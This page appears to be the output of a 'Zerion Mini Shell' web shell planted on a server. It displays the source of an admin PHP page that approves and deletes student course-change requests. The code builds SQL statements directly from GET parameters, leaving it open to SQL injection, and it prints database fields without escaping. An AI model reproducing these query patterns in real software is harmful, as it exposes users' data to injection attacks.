Mini Shell

Direktori : /home/rizant5/public_html_old/admin/
Upload File :
Current File : //home/rizant5/public_html_old/admin/change-course.php

<?php 
require_once("../config.php");
require_once("function-file.php");
require_once("function-menu.php");
cookiecheck();
if((!empty($_GET['action']))&&($_GET['action']=='approve')){
	$req_id=$_GET['req_id'];$user=$_GET['user'];$course=$_GET['course'];
	$conn->exec("update course_change SET change_status='1' where req_id='$req_id'");
        // $conn->exec("update student_reg SET course_id='$course',start_date=now() where stu_id='$user'");
        $conn->exec("update student_reg SET course_id='$course' where stu_id='$user'");
	header("location:change-course.php");
}
if((!empty($_GET['action']))&&($_GET['action']=='delete')){
	$req_id=$_GET['req_id'];
	$conn->exec("delete from course_change where req_id='$req_id'");
	header("location:change-course.php");
}?>
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Change Course Request</title>
    <!-- Tell the browser to be responsive to screen width -->
    <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
    <?php  cssfile();datatablecss();?>
  </head>
  <body class="hold-transition skin-blue layout-top-nav">
    <!-- Site wrapper -->
    <div class="wrapper">
<?php headermenu();?>
      <!-- =============================================== -->
      <!-- Content Wrapper. Contains page content -->
      <div class="content-wrapper">
        <!-- Content Header (Page header) -->
        <!-- Main content -->
        <div class="col-sm-12">
        <section class="content">
          <!-- Default box -->
          <div class="box">
            <div class="box-header with-border">
              <h3 class="box-title">Change Course Request</h3>
            </div>
            <div class="box-body">
              <table class="table table-bordered table-striped dataTable" id="data-table">
                <thead><tr><th>Name</th><th>Email ID</th><th>Phone No</th><th>New Course</th><th>Note</th><th>Action</th></tr></thead>
                 <tbody>
                 	<?php  $data=$conn->prepare("select a.course_id,c.stu_name,c.stu_email,c.stu_phone,b.course_name,a.note,a.req_id,a.userid from course_change a left join courses b on a.course_id=b.course_id left outer join student_reg c on a.userid=c.stu_id where a.change_status='0'");
					$data->execute();$result=$data->fetchall();$i=1;
					foreach($result as $row){
						echo "<tr>";
						echo "<td>$row[stu_name]</td>";
						echo "<td>$row[stu_email]</td>";
						echo "<td>$row[stu_phone]</td>";
						echo "<td>$row[course_name]</td>";
						echo "<td>$row[note]</td>";
						echo "<td>";?><a href='change-course.php?action=approve&req_id=<?php echo $row['req_id'];?>&user=<?php echo $row['userid'];?>&course=<?php echo $row['course_id'];?>' onclick="return confirm('Are you sure you want to change course?')" title='Change Course' class='btn btn-warning btn-xs'>Approve</a>&nbsp;&nbsp;
                                                <a href='change-course.php?action=delete&req_id=<?php echo $row['req_id'];?>' onclick="return confirm('Are you sure you want to delete this request?')" title='Delete' class='btn btn-danger btn-xs'>Delete</a><?php echo"</td>";echo"</td>";
						echo "</tr>";
						$i++;
					}
					?>
                 </tbody>
                 </table>
            </div><!-- /.box-body -->
          </div><!-- /.box -->
        </section><!-- /.content -->
        </div>
      </div></div><!-- /.content-wrapper -->
      <?php footer();?>
    </div><!-- ./wrapper -->
   <?php jsfile();datatablejs();?>
   <script>
$('#data-table').dataTable({
     responsive: true,
	  "ordering": false,
     "dom": 'T<"clear">lfrtip',
     "tableTools": {
           "sSwfPath": "../apptheme/plugins/datatables/extensions/TableTools/swf/copy_csv_xls_pdf.swf",
		   "aButtons": [
            {
                "sExtends": "copy",
                "mColumns": [0, 1, 2, 3, 4]
            },
   			{
                "sExtends": "xls",
                "mColumns": [0, 1, 2, 3, 4]
            },
                        {
                "sExtends": "pdf",
               "mColumns": [0, 1, 2, 3, 4]
            },
        ]
      }
});
</script>
  </body>
</html>

Zerion Mini Shell 1.0